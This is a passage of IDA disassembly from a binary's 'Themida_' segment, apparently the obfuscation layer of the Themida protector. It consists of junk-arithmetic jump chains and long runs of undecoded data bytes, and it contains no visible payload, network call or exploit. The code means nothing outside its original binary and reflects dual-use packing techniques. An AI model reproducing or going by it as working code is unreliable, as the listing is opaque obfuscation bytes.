		sub	ecx, 0C4E214E2h
		sub	ebx, 6FEF1D46h
		add	ebx, ecx
		add	ebx, 6FEF1D46h
		pop	ecx
		jmp	loc_59247C
; ---------------------------------------------------------------------------
		dd 81FFEF83h, 6E7D59F7h, 23E98112h, 164D50Fh, 0EDC6E9F9h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59A49A:				; CODE XREF: Themida_:0058FD22j
		add	eax, 2E0E1077h
		xor	eax, 666218C1h
		sub	eax, 1D1962B1h
		push	ebp
		push	esi
		jmp	loc_58FCC0
; ---------------------------------------------------------------------------
		dd 0CA88C188h, 0E92434FFh, 0FFFF4091h
; ---------------------------------------------------------------------------


loc_59A4BC:				; CODE XREF: Themida_:005957F7j
		xor	eax, ebx
		pop	ebx
		jmp	loc_5A17AB
; ---------------------------------------------------------------------------
		dd 0C281E289h, 4, 8704C283h, 315C2414h,	2434FFF8h, 0E089505Fh
		dd 0FF78DEE9h, 2EC681FFh, 8B5F692Dh, 0C0E9240Ch, 89000013h
		dd 0AFB42404h, 80A7CC80h, 0CAE9FFC4h
		db 56h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_59A4FF:				; CODE XREF: Themida_:00594F2Aj
		shr	esi, 7
		add	esi, 0CAF5825Eh
		xor	eax, esi
		pop	esi
		or	ecx, eax
		mov	eax, [esp]
		jmp	loc_5980FA
; ---------------------------------------------------------------------------


loc_59A515:				; CODE XREF: Themida_:00593924j
		xor	edi, ebx
		jmp	loc_596507
; ---------------------------------------------------------------------------
		dd 425DEA29h, 0DC1AEA81h, 0E281A2C6h, 4373131Fh, 5E08950h
		dd 4, 8704E883h, 895C2404h, 67E9240Ch, 8100004Eh, 4C1h
		dd 6DBEE900h, 3C330000h, 243C3124h, 0E9243C33h,	2390h
		dd 5D3CE95Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_59A562:				; CODE XREF: Themida_:005A293Bj
		pop	ebx
		jmp	loc_59B72D
; ---------------------------------------------------------------------------


loc_59A568:				; CODE XREF: Themida_:00594F7Fj
		sub	ebp, 425C5992h
		mov	eax, [esp]
		add	esp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		shl	word ptr [esp],	cl
		pushf
		jmp	loc_58E353
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		pop	esi
		push	ecx
		push	ebp
		push	22624170h
		pop	ebp
		jmp	loc_596C91
; ---------------------------------------------------------------------------
		dd 0BD240481h, 5B00EA13h, 13BDEB81h, 8B5E00EAh,	0C4832404h
		dd 8BDF8904h, 0E955241Ch, 31D0h, 0C381E389h, 4,	0FFACE0E9h
		dd 54505CFFh, 40558h, 0B9510000h, 4, 3359C801h,	65E92404h
		dd 89FFFF69h, 34BF57E0h, 0E90EB83Fh, 540Dh
; ---------------------------------------------------------------------------


loc_59A5FC:				; CODE XREF: Themida_:00598B2Bj
		mov	edi, 35BE3DE6h
		mov	eax, 90750659h
		sub	eax, edi
		mov	edi, [esp]
		add	esp, 4
		sub	ebp, eax
		pop	eax
		sub	[edi+24h], ebp
		jmp	loc_59263A
; ---------------------------------------------------------------------------
		dd 883DC380h, 0E9805BD9h, 8DFFE9A5h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59A62A:				; CODE XREF: Themida_:00595ACFj
		push	esi
		mov	esi, 39B111AFh
		add	esi, 50FF094Eh
		neg	esi
		or	esi, 452041AEh
		sub	esi, 3AFA4B4Bh
		add	esi, 0C58A659Bh
		sub	ebp, esi
		jmp	loc_59529F
; ---------------------------------------------------------------------------
		db 56h,	0BEh, 0C4h
		dd 832B685Ch, 3C8904ECh, 39BD5524h, 89633C10h, 0D7F75DEFh
		dd 0E781D7F7h, 9B75873h, 475FE9h, 0AD7EBE00h, 0D1E95817h
		dd 2100002Fh, 0E99C2404h, 0FFFF3CCBh
; ---------------------------------------------------------------------------


loc_59A688:				; CODE XREF: Themida_:005A13B5j
		mov	ebp, [esp]
		add	esp, 4
		push	esi
		jmp	loc_58E800
; ---------------------------------------------------------------------------
		db 5Bh
		dd 0FFE783E9h, 1D5368FFh, 1C890000h, 6C5BBB24h,	0E943346Fh
		dd 7A14h, 881BEA80h, 0BDC1E9D7h, 885BFFFFh, 148B8714h
		dd 4C48124h, 8B000000h,	8952240Ch, 9BE56E2h, 4651AB2Bh
		dd 0FF3C97E9h, 51C301FFh, 96699B9h, 0B7E94168h,	83000077h
		dd 0E95604C4h, 84E0h, 8B2434FFh
		db 1Ch,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_5A0103
; ---------------------------------------------------------------------------
		dw 50E9h
		dd 0F7FFFF3Ch, 4A09E9D5h, 0D8300000h, 121168h, 24148900h
		dd 0C6FECAB6h, 0F0885066h, 0C688D0F6h, 0EE805866h, 18C680DFh
		dd 7A8FE9h, 6EDC100h, 0FA7BED81h, 0EB8103FFh, 4D0B5159h
		dd 2F42C381h, 0EB01048Dh, 2F42EB81h, 0C381048Dh, 4D0B5159h
		dd 39DE9h, 34690500h, 88052225h, 0E953677Dh, 0FFFF7BF9h
		dd 83243C8Bh, 0FEE904C4h
		db 42h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59A76F:				; CODE XREF: Themida_:005A2E58j
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_59BC2D
; ---------------------------------------------------------------------------
		dd 0B8F181h, 0CA010A44h, 24148759h, 4A75E9h, 37312D00h
		dd 20E941F8h, 33FFFF6Fh, 4312404h, 24043324h, 0FF92CDE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_59A7A1:				; CODE XREF: Themida_:0059BC3Fj
		sub	dword ptr [esp+4], 3DF847E4h
		push	dword ptr [esp]
		pop	eax
		jmp	loc_5920E8
; ---------------------------------------------------------------------------
word_59A7B2	dw 34FFh		; DATA XREF: Themida_:0058E1ACo
		dd 89575824h, 4C781E7h,	83000000h, 3C3304EFh, 243C3124h
		dd 0E9243C33h, 3A05h
; ---------------------------------------------------------------------------


loc_59A7D0:				; CODE XREF: Themida_:0059D07Bj
		pop	esp
		sub	esp, 4
		mov	[esp], edi
		push	3CCDh
		mov	[esp], ebx
		jmp	loc_5999D0
; ---------------------------------------------------------------------------
		db 29h
		dd 0BD5559CEh, 713531E5h, 0E906E5C1h, 0FFFF9821h, 4C481h
		dd 91350000h, 814F3352h, 0B22F03EEh, 52C6015Eh,	0B22F03BAh
		dd 5AD6015Eh, 74FF5658h, 8F5E0424h, 685C2404h, 7957h, 0B9240C89h
		dd 53053A75h, 8B98E957h, 0D301FFFFh, 2C3815Ah, 33000000h
		dd 1C31241Ch, 241C3324h, 6624248Bh, 81240C8Bh, 4ECh, 0BA7CE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59A856:				; CODE XREF: Themida_:00599C14j
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		push	eax
		mov	al, 0B2h
		or	al, 6Dh
		jmp	loc_590AE8
; ---------------------------------------------------------------------------


loc_59A86A:				; CODE XREF: Themida_:0059003Aj
		push	edi
		mov	edi, 65133A83h
		sub	edi, 0FFFFFFFFh
		and	edi, 2FF729D6h
		jmp	loc_599D06
; ---------------------------------------------------------------------------
		dw 895Ch
		dd 0EC812414h, 4, 0B0240489h, 0C0C0FE93h, 0D8F602E0h, 0D804C0FEh
		dd 0FF51AAE9h, 9C5066FFh, 0FF3AAEE9h, 7DF181FFh, 5241AA0Fh
		dd 71D640BAh, 5AD131CAh, 367B4E05h, 2DC8292Dh, 2D367B4Eh
		dd 2434FF59h, 3686E95Eh, 0DAF70000h, 0FFF01AE9h, 81CF01FFh
		dd 2002E2EFh, 5655E913h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59A8DE:				; CODE XREF: Themida_:00594AD2j
		push	ebx
		jmp	loc_597164
; ---------------------------------------------------------------------------
		dd 0EA81EA01h, 29F077F6h, 49AFE9h, 246C0100h, 348B5D04h
		dd 4C48324h, 4EC81h, 2C890000h,	0BA525324h, 3F502C6h, 0FF4819E9h
		dd 32E95CFFh
		db 85h,	2 dup(0)
byte_59A917	db 0FFh			; DATA XREF: Themida_:0058E194o
		dd 34FF2434h, 0BCE95A24h
		db 0A4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59A923:				; CODE XREF: Themida_:0059E663j
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_59BEDA
; ---------------------------------------------------------------------------
		db 30h,	0E6h, 8Bh
		dd 0C4812404h, 4, 0E95AF030h, 0FFFF5193h, 0FFE8835Dh, 7E41BD55h
		dd 3FE94160h
		db 9Ch,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59A953:				; CODE XREF: Themida_:0059793Cj
		mov	edx, esp
		jmp	loc_59AB43
; ---------------------------------------------------------------------------
		dw 1C33h
		dd 241C3124h, 8B241C33h, 2C892424h, 1C9F6824h, 1C890000h
		dd 0AA58E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59A976:				; CODE XREF: Themida_:00599EC2j
		pop	ebp
		add	ebp, eax
		mov	eax, [esp]
		add	esp, 4
		mov	edx, ebp
		pop	ebp


loc_59A982:				; CODE XREF: Themida_:0059B249j
					; Themida_:0059EB2Dj
		push	dword ptr [edi+24h]
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_59287B
; ---------------------------------------------------------------------------


loc_59A990:				; CODE XREF: Themida_:00597767j
		pop	edx
		movzx	eax, al
		pop	dword ptr [edi+eax*4]
		jmp	loc_58E353
; ---------------------------------------------------------------------------
		dd 8007ECC0h, 6FE96EF4h, 29FFFF7Eh, 33EB81C3h, 5140E73Dh
		dd 4A6BBA52h, 0BE561551h, 49E9293Eh, 10E9F209h
		db 9Ch,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59A9C3:				; CODE XREF: Themida_:005A0F3Cj
		sub	ebx, 383C1B69h
		add	ebx, 4F41220Dh
		add	ebx, 1953271Dh
		add	ebx, 486F476Fh
		mov	[ebx], edx
		pop	ebx
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_598AFF
; ---------------------------------------------------------------------------


loc_59A9EC:				; CODE XREF: Themida_:005A30E5j
		push	esp
		pop	edx
		jmp	loc_58FDB9
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0FFFF395Bh
; ---------------------------------------------------------------------------


loc_59A9F8:				; CODE XREF: Themida_:0058E811j
		xor	esi, [esp]
		pop	esp
		jmp	loc_59DFCF
; ---------------------------------------------------------------------------
		db 0BFh, 4, 0
		dd 0C2810000h, 46E7575Bh, 0D70C281h, 0FA010B45h, 0D70EA81h
		dd 0EA810B45h, 46E7575Bh, 6E78685Fh, 0C890000h,	6D9C6824h
		dd 1C890000h, 48B9BB24h, 814364F3h, 8473FCBh, 90C3814Ah
		dd 89C6E7E8h, 0D9F75BD9h, 5605E1C1h, 0FF69E1E9h, 243489FFh
		dd 67E2E9h, 0F6302D00h,	0C2890CCFh, 0FFDF03E9h,	243C8BFFh
		dd 0FFA40FE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_59AA6D:				; CODE XREF: Themida_:005905C0j
		pop	ecx
		add	esp, 4
		push	ebx
		jmp	loc_5A2066
; ---------------------------------------------------------------------------
		db 59h
		dd 0FFD92DE9h, 1C8B66FFh, 2C48124h, 68000000h, 3469h, 66241489h
		dd 667998BAh, 14F76652h, 4671E924h, 15EFFFFh, 36C781CFh
		dd 5941F14Fh, 0E904C783h, 5627h, 0E357B8BAh, 8E2C166h
		dd 0FFD2E0E9h, 0E2C158FFh, 0AFEA8102h, 10FBAE1h, 74E95AD0h
		db 6Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_59AACF:				; CODE XREF: Themida_:00598000j
		dec	dword ptr [esp]
		pop	edx
		push	ebp
		push	0DF01F21h
		pop	ebp
		jmp	loc_58E9B3
; ---------------------------------------------------------------------------
		db 29h
		dd 4BAE9C3h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_59AAE6:				; CODE XREF: Themida_:00599E91j
		mov	esi, 4
		add	edi, esi
		jmp	loc_59A117
; ---------------------------------------------------------------------------
		dw 2C8Bh
		dd 172EE924h, 1C890000h, 2330BB24h, 0EFBE21FAh,	0E91720F4h
		dd 0FFFF56A1h, 6E1C15Bh, 2 dup(0C831C131h), 0D8E9C131h
		db 84h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_59AB1F:				; CODE XREF: Themida_:0059BE79j
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		jmp	loc_5A06AE
; ---------------------------------------------------------------------------
		dw 0C383h
		dd 74FF5304h, 34FF0424h, 9FE95B24h
		db 80h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_59AB43:				; CODE XREF: Themida_:0059A955j
		add	edx, 4
		sub	edx, 4
		jmp	loc_59FD97
; ---------------------------------------------------------------------------
		db 89h,	3Ch, 24h
		dd 582434FFh, 0E95E5456h, 0FFFF5F9Fh, 776DEA81h, 0C2016B25h
		dd 776DC281h, 83586B25h, 148704C2h, 0C3835C24h,	30B86802h
		dd 1C890000h, 2474FF24h, 2434FF04h, 4C4835Bh, 8B24048Fh
		dd 4D22424h, 0B8E99C24h, 81FFFF37h, 8B172CC2h, 68C20112h
		dd 16AFh, 83AFE9h
		db 0
; ---------------------------------------------------------------------------


loc_59ABAD:				; CODE XREF: Themida_:00593B78j
		push	ecx
		mov	ecx, 28F1170Eh
		push	ebp
		jmp	loc_59798D
; ---------------------------------------------------------------------------


loc_59ABB9:				; CODE XREF: Themida_:00593A69j
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		pop	esp
		mov	[esp], ecx
		mov	ecx, 14F36A82h
		add	ecx, 3F2BF8FDh
		xor	edi, ecx
		mov	ecx, [esp]
		jmp	loc_59F6D6
; ---------------------------------------------------------------------------


loc_59ABDB:				; CODE XREF: Themida_:0059F379j
		xor	edi, 36AF26F8h
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		sub	eax, 1C2E6EECh
		sub	eax, edi
		add	eax, 1C2E6EECh
		jmp	loc_598859
; ---------------------------------------------------------------------------
byte_59ABF9	db 66h,	8Bh, 4		; DATA XREF: Themida_:0058E08Co
		dd 4EC8324h, 29F4E9h, 57DBF700h, 0FF92D2E9h, 0EC815BFFh
		dd 4, 0FFEAFFE9h, 0B7E1B6FFh, 5AF728D5h, 0FFE527E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_59AC25:				; CODE XREF: Themida_:0059031Bj
		pop	ecx
		jmp	loc_5926FC
; ---------------------------------------------------------------------------


loc_59AC2B:				; CODE XREF: Themida_:005902DCj
		add	esp, 4
		jmp	loc_5A0E7A
; ---------------------------------------------------------------------------
		db 0C0h
		dd 0C18004E9h, 0E9CE0055h, 2A9Dh, 0C181E189h, 4, 0FF3746E9h
		dd 44E280FFh, 0C0B05066h, 0FF3F54E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_59AC59:				; CODE XREF: Themida_:005A03E9j
		sub	ebx, 5CE7066Fh
		jmp	loc_59FD3D
; ---------------------------------------------------------------------------
		dd 4306EBC1h, 8106E3C1h, 6606F0F3h, 8BD9012Fh, 15E9241Ch
		dd 0FF000064h, 0CEE92434h, 0F7FFFFD4h, 0E9D0F7D8h, 4F4Bh
		dd 2AC5815Fh, 1367465h,	0A47CE9F5h
		db 2 dup(0FFh)
word_59AC9A	dw 34FFh		; DATA XREF: Themida_:0058E290o
		dd 2434FF24h, 47F3E9h, 148B5C00h, 4C48324h, 4C281h, 1A680000h
		dd 89000036h, 21BF243Ch, 55492264h, 22641DBDh, 5DEF2949h
		dd 0E95FFA01h, 0FFFFE8E6h, 3124248Bh, 0E99C2404h, 0FFFF3677h
		dd 42474FFh, 0FFD7F6E9h, 34FF5EFFh, 241C8B24h, 8304C483h
		dd 0E95104C4h, 2173h, 348BF589h, 4C48124h, 57000000h, 89E98951h
		dd 31B5E9CFh, 0C2880000h, 0FF9DF0E9h, 8BE381FFh, 5272F240h
		dd 404B12BAh, 5AD32974h, 15BDD01h, 2434FFEAh, 4C4835Dh
		dd 0FFDF1DE9h, 4EC81FFh, 89000000h, 0FFBF243Ch,	0E9FFFFFFh
		dd 0FFFFBEF0h, 24048F5Ch, 0F624248Bh, 5785E9F1h, 815C0000h
		dd 4C4h, 55D66800h, 2C890000h, 0ABE95424h, 0B9FFFF3Ah
		dd 5CC2175Dh, 67A0E981h, 0E1814DD3h, 3A5510FEh,	0FFF9F7E9h
		dd 4C181FFh, 81000000h,	4C1h, 0C4C6E900h, 0C281FFFFh, 4
		dd 0E9241487h, 0FFFF513Fh, 875BDE01h, 0C15C2434h, 0BD5506EFh
		dd 315E09CFh, 58E9EF09h, 8BFFFFA4h, 0C4832404h,	57C32904h
		dd 0FF946FE9h, 0DFE959FFh
		db 2Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_59ADCB:				; CODE XREF: Themida_:00592CD4j
		add	edi, 0C86546Ah
		pop	eax
		add	edi, 69C46145h
		sub	edi, ebx
		sub	edi, 69C46145h
		jmp	loc_59F464
; ---------------------------------------------------------------------------
		db 81h,	0C5h, 0BBh
		dd 8110B579h, 0C52232EDh, 0DC9EE9ECh, 1487FFFFh, 0C0685C24h
		dd 89000046h, 45BD242Ch, 81596B16h, 6B1641F5h, 5DEA0159h
		dd 0DEA68h, 24048900h, 0F26719B8h, 8E0C134h, 0EAC68h, 24148900h
		dd 0FF641AE9h, 5BDF31FFh, 383B68h, 0ADAFE900h, 8305FFFFh
		dd 176FF0Fh, 1C8758C3h,	24248B24h, 0FFA15EE9h, 1FECB8FFh
		dd 9640149Eh, 0FFF433E9h, 24248BFFh, 5268C331h,	8900005Ch
		dd 0EAB82404h, 1121B5Dh, 0A8E958C2h, 9FFFF59h, 0BBE95DEBh
		dd 29FFFFB6h, 2BD305D8h, 0E9554C7Ch, 1BAFh, 104C483h, 0D90559C8h
		dd 8312EC66h, 0C8904ECh, 623FB924h, 0F1815C64h,	5D866B39h
		dd 5959C801h, 502E68h, 24348900h, 7C30EDBEh, 4EC8324h
		dd 0E9243C89h, 3AF5h, 7FFFFB2Dh, 3E016843h, 34890000h
		dd 36A1BE24h, 0F1296A0Bh, 8324348Bh, 32E904C4h,	81FFFFB0h
		dd 6B0E37F2h, 5AD08905h, 12055D05h, 0F84B2D28h,	4AE95AE0h
		dd 29FFFF86h, 0F799E9D9h, 0C530FFFFh, 59E80058h, 80C6B252h
		dd 0CA8026C2h, 1EF280E8h, 0E95AD000h, 0FFFF54E8h
; ---------------------------------------------------------------------------


loc_59AF18:				; CODE XREF: Themida_:00591202j
		push	esp
		pop	eax
		jmp	loc_590EC4
; ---------------------------------------------------------------------------
		db 89h
		dd 0E1BB241Ch, 0BA3D1A35h, 3D1A35E5h, 64D2BD55h, 0EA01310Ah
		dd 50DA295Dh, 0A64D2B8h, 8EA8131h, 2967842Bh, 8C281C2h
		dd 5867842Bh, 83241C8Bh, 0C18104C4h, 2F6665Fh, 0E981D101h
		dd 2F6665Fh, 0E924148Bh, 0FFFFC8C8h, 4C681h, 0EC810000h
		dd 4, 0E9240C89h, 0FFFF6A13h, 0E9241489h, 0FFFFF3B1h
; ---------------------------------------------------------------------------


loc_59AF84:				; CODE XREF: Themida_:0059E24Aj
		add	edi, ecx
		jmp	loc_5928F7
; ---------------------------------------------------------------------------


loc_59AF8B:				; CODE XREF: Themida_:0059F8B4j
		mov	eax, 39B50B73h
		jmp	loc_5919ED
; ---------------------------------------------------------------------------
aBqSi		db 'ï´Ôš#éë-',0
		align 10h
		dd 81D3F758h, 0D14B0FE3h, 0DEB8141h, 81709978h,	7C94D7C3h
		dd 8BD9894Ah, 0C481241Ch, 4, 2B9CE981h,	0F1810D9Fh, 0D9B0254Dh
		dd 53E9CA01h, 58FFFF44h, 0FFBF75E9h
		db 0FFh
byte_59AFD9	db 0FFh, 77h, 1Ch	; DATA XREF: Themida_:0058E2DCo
		dd 6658669Dh, 9C240411h, 0FF336AE9h, 38EE81FFh,	0E92CFA6Ch
		dd 0EF3h, 0E958C529h, 872h, 2CC18159h, 5A76FE5Dh, 8108E1C1h
		dd 1F4C33E9h, 0C1E9D16Fh, 0F18107E9h, 6C3CADh, 8159CA89h
		dd 274136EBh, 4542E965h
		db 2 dup(0)
word_59B026	dw 77FFh		; DATA XREF: Themida_:0058E07Co
		dd 2434813Ch, 31073719h, 0E92434FFh, 1538h, 0E904C483h
		dd 6A43h
; ---------------------------------------------------------------------------


loc_59B040:				; CODE XREF: Themida_:0059F74Ej
		pop	ecx
		push	5DC8h
		mov	[esp], ecx
		jmp	loc_5A2253
; ---------------------------------------------------------------------------
		dw 6568h
		dd 89000002h, 5BD242Ch,	2134D571h, 8105E9E9h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59B062:				; CODE XREF: Themida_:00598DCCj
		mov	[esp], esi
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_59BBA8
; ---------------------------------------------------------------------------
dword_59B070	dd 0EC8353ADh, 24148904h, 375DEBAh, 6680E934h, 0E956FFFFh
					; DATA XREF: Themida_:0058E1E4o
		dd 0FFFF5B39h, 104C483h, 5F04247Ch, 0ECB9515Ah,	0F778475Ah
		dd 0E1C141D1h, 7BE5E902h, 0E958FFFFh, 0FFFF7A87h
; ---------------------------------------------------------------------------


loc_59B0A8:				; CODE XREF: Themida_:00595032j
		sub	ecx, edx
		sub	ecx, 59710694h
		mov	edx, ecx
		pop	ecx
		sub	edx, 0FA2CE024h
		push	esi
		jmp	loc_596F1D
; ---------------------------------------------------------------------------
		db 55h
		dd 0FF9504E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_59B0C5:				; CODE XREF: Themida_:00590A68j
		push	esi
		mov	esi, 4093759Bh
		jmp	loc_5A1367
; ---------------------------------------------------------------------------
		dd 1665D66h, 49F1E9F7h,	24680000h, 0E900005Ch, 0FFFF5D07h
		dd 0E924048Fh, 0FFFFE1E6h
; ---------------------------------------------------------------------------


loc_59B0EC:				; CODE XREF: Themida_:0059F1F9j
		pop	esi
		push	19A7h
		jmp	loc_597D67
; ---------------------------------------------------------------------------
		db 89h
		dd 0DCE92414h, 59FFFF32h, 0D5E9C588h, 0F7000045h, 1EF81D7h
		dd 0E96AC0EDh, 0FFFFCDBCh, 0A3E9E289h, 89000023h, 1AFDE9C7h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_59B122:				; CODE XREF: Themida_:0059E770j
		xchg	esi, [esp]
		pop	esp
		mov	edx, [esp]
		jmp	loc_5A0CC7
; ---------------------------------------------------------------------------
		dw 9BEh
		dd 0E97DB20Fh, 0FFFFAA6Bh, 0FFC3885Bh, 0E9582434h, 0FFFFE97Fh
		dd 3304EA83h, 14312414h, 0F092E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59B152:				; CODE XREF: Themida_:0059101Cj
		push	ecx
		mov	ecx, 25554986h
		inc	ecx
		neg	ecx
		sub	ecx, 0B4EC7184h
		mov	edx, ecx
		pop	ecx
		jmp	loc_5A036F
; ---------------------------------------------------------------------------
		db 5Ah,	0E9h, 0F6h
		dd 89FFFF72h, 4C581E5h,	50000000h, 0FF7D89E9h, 4C381FFh
		dd 81000000h, 4EBh, 78F6E900h, 6855FFFFh, 29F077F6h, 7AEA815Dh
		dd 81277B06h, 0F156D7EAh, 81EA015Dh, 0F156D7C2h, 7AC2815Dh
		dd 5D277B06h, 0FFF72FE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_59B1B5:				; CODE XREF: Themida_:00599E47j
		sub	ecx, 45E879FBh
		add	ecx, ebx
		add	ecx, 45E879FBh
		jmp	loc_5A246D
; ---------------------------------------------------------------------------


loc_59B1C8:				; CODE XREF: Themida_:00592704j
		dec	ecx
		neg	ecx
		and	ecx, 3D9F3799h
		sub	ecx, 380AFFFCh
		mov	ebx, ecx
		pop	ecx
		jmp	loc_59F720
; ---------------------------------------------------------------------------
aFSv		db 'f[éV)',0
		align 2


loc_59B1E6:				; CODE XREF: Themida_:00593357j
		mov	edx, [esp]
		add	esp, 4
		pop	ecx
		sub	esp, 2
		mov	[esp], cx
		mov	ch, 0C2h
		add	bl, ch
		pop	cx
		push	3633h
		jmp	loc_59E2E8
; ---------------------------------------------------------------------------
		db 83h
		dd 48904ECh, 0BFA0E924h, 0B850FFFFh, 72F80778h,	0FFC47BE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_59B21D:				; CODE XREF: Themida_:0058EB04j
		add	ebp, 151319Eh
		mov	edi, [esp]
		add	esp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		and	eax, edx
		push	dword ptr [esp]
		mov	edx, [esp]
		add	esp, 4
		add	esp, 4
		or	eax, eax
		jz	loc_59A982
		push	dword ptr [edi+28h]
		xor	dword ptr [esp], 6C334CF2h
		push	dword ptr [esp]
		jmp	loc_59349D
; ---------------------------------------------------------------------------


loc_59B261:				; CODE XREF: Themida_:005A064Aj
		xor	ch, 2Fh
		push	cx
		mov	ch, 0E3h
		jmp	loc_5A0016
; ---------------------------------------------------------------------------
		db 8Bh,	2 dup(24h)
		dd 0FF240C89h, 0FF042474h, 0C8B2434h, 4C48124h,	56000000h
		dd 0C681E689h, 4, 8704C683h, 0E95C2434h, 0FFFFD98Dh, 4D54C581h
		dd 34FF6258h, 0C4835A24h, 2B95104h, 1000000h, 2C8759CDh
		dd 24248B24h, 4BB0F66h,	77E99C24h
		db 93h,	2 dup(0FFh)
byte_59B2BF	db 8Fh			; DATA XREF: Themida_:0058E218o
		dd 8CE94047h, 0B8FFFF30h, 1B73511Eh, 60A4B2Dh, 960DE9AFh
		dd 0F8BFFFFFh, 4F102A6Fh, 3EFC147h, 74AF781h, 0A3E95DBAh
		dd 81FFFF98h, 0F1DB3C5h, 0E9D52928h, 0FFFF7126h, 1D3D68h
		dd 241C8900h, 0FFA4A7E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_59B305:				; CODE XREF: Themida_:0059EA52j
		xor	dl, 0E0h
		push	eax
		mov	ah, dl
		mov	bl, ah
		pop	eax
		jmp	loc_599D47
; ---------------------------------------------------------------------------
		db 83h
		dd 0EC8304C4h, 24148904h, 0CD2D82BAh, 2EAC113h,	0FF462DE9h
		db 0FFh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		add	ecx, 4
		push	31B6h
		mov	[esp], ebx
		mov	ebx, 4
		jmp	loc_599D6E
; ---------------------------------------------------------------------------
		db 89h,	14h, 24h
		dd 4BAh, 246C8100h, 634CCA04h, 4D88E901h, 0BF57FFFFh, 332A02AAh
		dd 0DDE9F929h, 66000046h, 22474FFh, 29E4E9h
		db 0
; ---------------------------------------------------------------------------


loc_59B37D:				; CODE XREF: Themida_:0058F26Ej
		push	eax
		mov	eax, 92A07DAh
		add	ebp, 688E1699h
		jmp	loc_5A10EB
; ---------------------------------------------------------------------------
		dw 215Ch
		dd 2434FFC8h, 81240C8Bh, 4C4h, 4C48100h, 0C1000000h, 0C83108E8h
		dd 8904EC83h, 5A542414h, 4826855h, 2C8B62F1h, 4156E924h
		dd 18BEFFFFh, 1F1CDDBh,	0D8895EF3h, 0FF85E4E9h,	0D5F758FFh
		dd 6688E945h, 0EF830000h, 243C8704h, 240C895Ch,	8904EC83h
		dd 4812424h, 424h, 2434FF00h, 4C48359h,	0FFC187E9h, 35E581FFh
		dd 56228E1Eh, 8A47E955h, 489FFFFh, 74B1B824h, 56402C99h
		dd 27BA5253h, 8952CD41h, 56E95AD3h
		db 0F2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59B41F:				; CODE XREF: Themida_:00592D3Cj
		push	edi
		mov	edi, 4FE9393Ah
		xor	edx, edi
		mov	edi, [esp]
		jmp	loc_590890
; ---------------------------------------------------------------------------
		db 5Ch
		dd 0F6241C89h, 5B012454h, 0FF3460E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_59B43D:				; CODE XREF: Themida_:005983C4j
		mov	edi, edx
		jmp	loc_599675
; ---------------------------------------------------------------------------


loc_59B444:				; CODE XREF: Themida_:0059D643j
		sub	[esp+4], ebp
		pop	ebp
		add	[esp], eax
		add	dword ptr [esp], 700E2851h
		sub	dword ptr [esp], 6A3C600Bh
		add	dword ptr [esp], 18BD58F4h
		push	esi
		sub	esp, 4
		jmp	loc_59B784
; ---------------------------------------------------------------------------


loc_59B46A:				; CODE XREF: Themida_:005977E8j
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		jmp	loc_58F908
; ---------------------------------------------------------------------------
		dd 0E904EC83h, 0FFFFABCDh, 58E4F181h, 0D1F70C81h, 0D103E1C1h
		dd 0E4BE56E9h, 29FFCC80h, 2AAEE9F1h, 380D0000h,	40078D08h
		dd 0FF87ABE9h, 26856FFh, 5E000000h, 1FE9F201h
		db 18h,	2 dup(0)
aMsW		db '¬é·W',0             ; DATA XREF: Themida_:0058E200o
		dd 142FB900h, 0CE291BF9h, 7122E959h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_59B4C6:				; CODE XREF: Themida_:00590C2Ej
		pop	edx
		pop	edi
		push	4E2Dh
		mov	[esp], edx
		jmp	loc_592A0B
; ---------------------------------------------------------------------------
		db 5Ah,	0E9h, 0C9h
		dd 83000012h, 42D04C4h,	50000000h, 42474FFh, 8714E958h
		dd 0C89FFFFh, 83E18924h, 48904ECh, 4EC8324h, 0FF33DEE9h
